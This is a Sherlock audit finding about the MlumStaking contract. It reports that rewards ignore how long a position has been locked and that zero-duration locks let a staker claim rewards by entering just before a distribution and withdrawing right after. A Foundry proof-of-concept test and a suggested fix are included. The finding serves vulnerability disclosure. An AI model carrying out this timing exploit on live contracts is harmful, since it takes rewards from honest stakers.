zarkk01 - Rewards in MlumStaking are distributed unfairly not taking into consideration the time someone has been locked.

[sherlock-admin3]

zarkk01

High

Rewards in MlumStaking are distributed unfairly not taking into consideration the time someone has been locked.

Vulnerability Detail

In MlumStaking contract, as stated in the docs rewards will be distributed every few days(see here). However, the contract does not take into consideration the time that someone has been locked for between the reward distrbutions and this opens the door to some attacks making the rewards to be distributed unfairly. Also, the contract allows users to create StakingPosition with 0 lockDuration which means that this position is available to be withdrawn anytime the user wants and just the multiplier will be 0. This can cause serious problems in the reward distribution process since someone can time the updatePool call and create a position with 0 lockDuration, minutes/hours before the reward distribution and then instantly withdraw it after the updatePool call.

Impact

This vulnerability leads to unfair reward distribution since an attacker can get a huge portion of the rewards without having the appropriate time commitment. As a result, users and MLUM stakers will get less rewards than they should due to the fact that the attacker locked some minutes/hours before the distribution and then instantly withdraw after the updatePool call.

Proof of concept

This PoC demonstrates the scenario where someone frontruns the updatePool function by creating a StakingPosition with lockDuration set to 0 and then backruns it by calling withdrawFromPosition instantly. However, this can happen, also, with some time delay and the attacker create a StakingPosition some minutes/hours before the reward distribution and then instantly withdraw it after the updatePool call. To understand better this vulnerability, add this test in the MlumStaking.sol file and run forge test --mt test_attackWithFrontrunningInMintRewards :

    function test_attackWithFrontrunningInMintRewards() public {
        _stakingToken.mint(ALICE, 2 ether);
        _stakingToken.mint(BOB, 100 ether);

        vm.startPrank(ALICE);
        _stakingToken.approve(address(_pool), 1 ether);
        _pool.createPosition(1 ether, 1 days);
        vm.stopPrank();

        skip(3600);

        vm.startPrank(BOB);
        _stakingToken.approve(address(_pool), 100 ether);
        _pool.createPosition(100 ether, 0);
        vm.stopPrank();
        _rewardToken.mint(address(_pool), 100_000_000);
        vm.startPrank(BOB);
        _pool.withdrawFromPosition(2, 100 ether);
        vm.stopPrank();

        vm.prank(ALICE);
        _pool.harvestPosition(1);

        console.log("BOB reward: ", _rewardToken.balanceOf(BOB));
        console.log("ALICE reward: ", _rewardToken.balanceOf(ALICE));

        vm.startPrank(ALICE);
        vm.expectRevert();
        _pool.withdrawFromPosition(1, 0.5 ether);

        skip(1 days);

        _pool.withdrawFromPosition(1, 1 ether);

        vm.stopPrank();
    }

Code Snippet

https://github.com/sherlock-audit/2024-06-magicsea/blob/main/magicsea-staking/src/MlumStaking.sol#L354
https://github.com/sherlock-audit/2024-06-magicsea/blob/main/magicsea-staking/src/MlumStaking.sol#L574

Tool used

Manual Review

Recommendation

Consider checking how much time has someone been locked for an distribute the rewards accordingly.

Duplicate of #74